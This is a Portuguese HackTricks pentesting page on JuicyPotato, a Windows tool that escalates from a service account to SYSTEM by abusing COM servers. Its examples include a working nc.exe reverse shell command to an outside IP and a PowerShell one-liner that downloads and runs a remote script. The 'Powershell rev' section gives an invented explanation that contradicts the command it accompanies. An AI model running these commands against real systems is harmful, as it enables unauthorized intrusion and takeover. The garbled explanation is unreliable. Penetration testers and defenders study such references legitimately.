hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato.md
2023-06-06 18:56:34 +00:00

12 KiB

JuicyPotato

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

{% hint style="warning" %} JuicyPotato não funciona no Windows Server 2019 e no Windows 10 build 1809 em diante. No entanto, PrintSpoofer, RoguePotato, SharpEfsPotato podem ser usados para alavancar os mesmos privilégios e obter acesso de nível NT AUTHORITY\SYSTEM. Verifique: {% endhint %}

{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

Juicy Potato (abusando dos privilégios de ouro)

Uma versão açucarada do RottenPotatoNG, com um pouco de suco, ou seja, outra ferramenta de Escalada de Privilégios Locais, de Contas de Serviço do Windows para NT AUTHORITY\SYSTEM

Você pode baixar o juicypotato em https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Resumo

RottenPotatoNG e suas variantes alavancam a cadeia de escalonamento de privilégios baseada no serviço BITS service tendo o ouvinte MiTM em 127.0.0.1:6666 e quando você tem privilégios SeImpersonate ou SeAssignPrimaryToken. Durante uma revisão de compilação do Windows, encontramos uma configuração em que o BITS foi intencionalmente desativado e a porta 6666 foi usada.

Decidimos armar RottenPotatoNG: Diga olá para o Juicy Potato.

Para a teoria, veja Rotten Potato - Escalada de Privilégios de Contas de Serviço para SYSTEM e siga a cadeia de links e referências.

Descobrimos que, além do BITS, existem vários servidores COM que podemos abusar. Eles só precisam:

  1. ser instanciáveis pelo usuário atual, normalmente um "usuário de serviço" que possui privilégios de impersonação
  2. implementar a interface IMarshal
  3. ser executados como um usuário elevado (SYSTEM, Administrador, ...)

Depois de alguns testes, obtivemos e testamos uma extensa lista de CLSID's interessantes em várias versões do Windows.

Detalhes suculentos

JuicyPotato permite que você:

  • CLSID de destino escolha qualquer CLSID que você queira. Aqui você pode encontrar a lista organizada por SO.
  • Porta de escuta COM defina a porta de escuta COM que você preferir (em vez do marshalled hardcoded 6666)
  • Endereço IP de escuta COM vincule o servidor em qualquer IP
  • Modo de criação de processo dependendo dos privilégios do usuário impersonado, você pode escolher entre:
    • CreateProcessWithToken (precisa de SeImpersonate)
    • CreateProcessAsUser (precisa de SeAssignPrimaryToken)
    • ambos
  • Processo a ser iniciado inicie um executável ou script se a exploração tiver sucesso
  • Argumento do processo personalize os argumentos do processo iniciado
  • Endereço do servidor RPC para uma abordagem furtiva, você pode se autenticar em um servidor RPC externo
  • Porta do servidor RPC útil se você quiser se autenticar em um servidor externo e o firewall estiver bloqueando a porta 135...
  • Modo de TESTE principalmente para fins de teste, ou seja, testar CLSIDs. Ele cria o DCOM e imprime o usuário do token. Veja aqui para testar

Uso

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Pensamentos finais

Se o usuário tiver privilégios SeImpersonate ou SeAssignPrimaryToken, então você é SYSTEM.

É quase impossível impedir o abuso de todos esses servidores COM. Você poderia pensar em modificar as permissões desses objetos via DCOMCNFG, mas boa sorte, isso será desafiador.

A solução real é proteger contas e aplicativos sensíveis que são executados sob as contas * SERVICE. Parar o DCOM certamente inibiria essa exploração, mas poderia ter um impacto sério no sistema operacional subjacente.

De: http://ohpe.it/juicy-potato/

Exemplos

Nota: Visite esta página para obter uma lista de CLSIDs para tentar.

Obter um shell reverso nc.exe

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

Descrição

O Powershell rev é uma técnica de escalonamento de privilégios locais que explora a forma como o Windows lida com a execução de binários. Essa técnica permite que um usuário com privilégios limitados execute um binário com privilégios elevados, o que pode levar à execução de comandos maliciosos com privilégios de administrador.

Como funciona

O Powershell rev explora a forma como o Windows lida com a execução de binários. Quando um usuário executa um binário, o Windows verifica se o usuário tem permissão para executar o binário e, em seguida, executa o binário com as permissões do usuário. No entanto, se o binário tiver a propriedade "Run as administrator" definida, o Windows executará o binário com privilégios elevados, independentemente das permissões do usuário.

O Powershell rev aproveita essa propriedade para executar um binário com privilégios elevados. Ele faz isso criando um objeto COM (Component Object Model) que é registrado como um servidor COM. Em seguida, ele cria um objeto de agendador de tarefas que é configurado para executar o objeto COM com privilégios elevados. Quando o objeto de agendador de tarefas é executado, ele executa o objeto COM com privilégios elevados, o que permite que o usuário execute comandos maliciosos com privilégios de administrador.

Como se proteger

Para se proteger contra o Powershell rev, é recomendável que os usuários executem apenas binários de fontes confiáveis e evitem executar binários com a propriedade "Run as administrator" definida. Além disso, é recomendável que os usuários limitem o número de usuários com privilégios elevados em seus sistemas e monitorem regularmente as atividades do sistema em busca de comportamentos suspeitos.

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Abrir um novo CMD (se você tiver acesso RDP)

Problemas com CLSID

Muitas vezes, o CLSID padrão que o JuicyPotato usa não funciona e o exploit falha. Geralmente, são necessárias várias tentativas para encontrar um CLSID funcional. Para obter uma lista de CLSIDs para testar em um sistema operacional específico, você deve visitar esta página:

{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}

Verificando CLSIDs

Primeiro, você precisará de alguns executáveis além do juicypotato.exe.

Baixe o Join-Object.ps1 e carregue-o em sua sessão do PS, e baixe e execute o GetCLSID.ps1. Esse script criará uma lista de possíveis CLSIDs para testar.

Em seguida, baixe o test_clsid.bat (altere o caminho para a lista de CLSID e para o executável juicypotato) e execute-o. Ele começará a tentar cada CLSID e quando o número da porta mudar, significará que o CLSID funcionou.

Verifique os CLSIDs funcionais usando o parâmetro -c

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥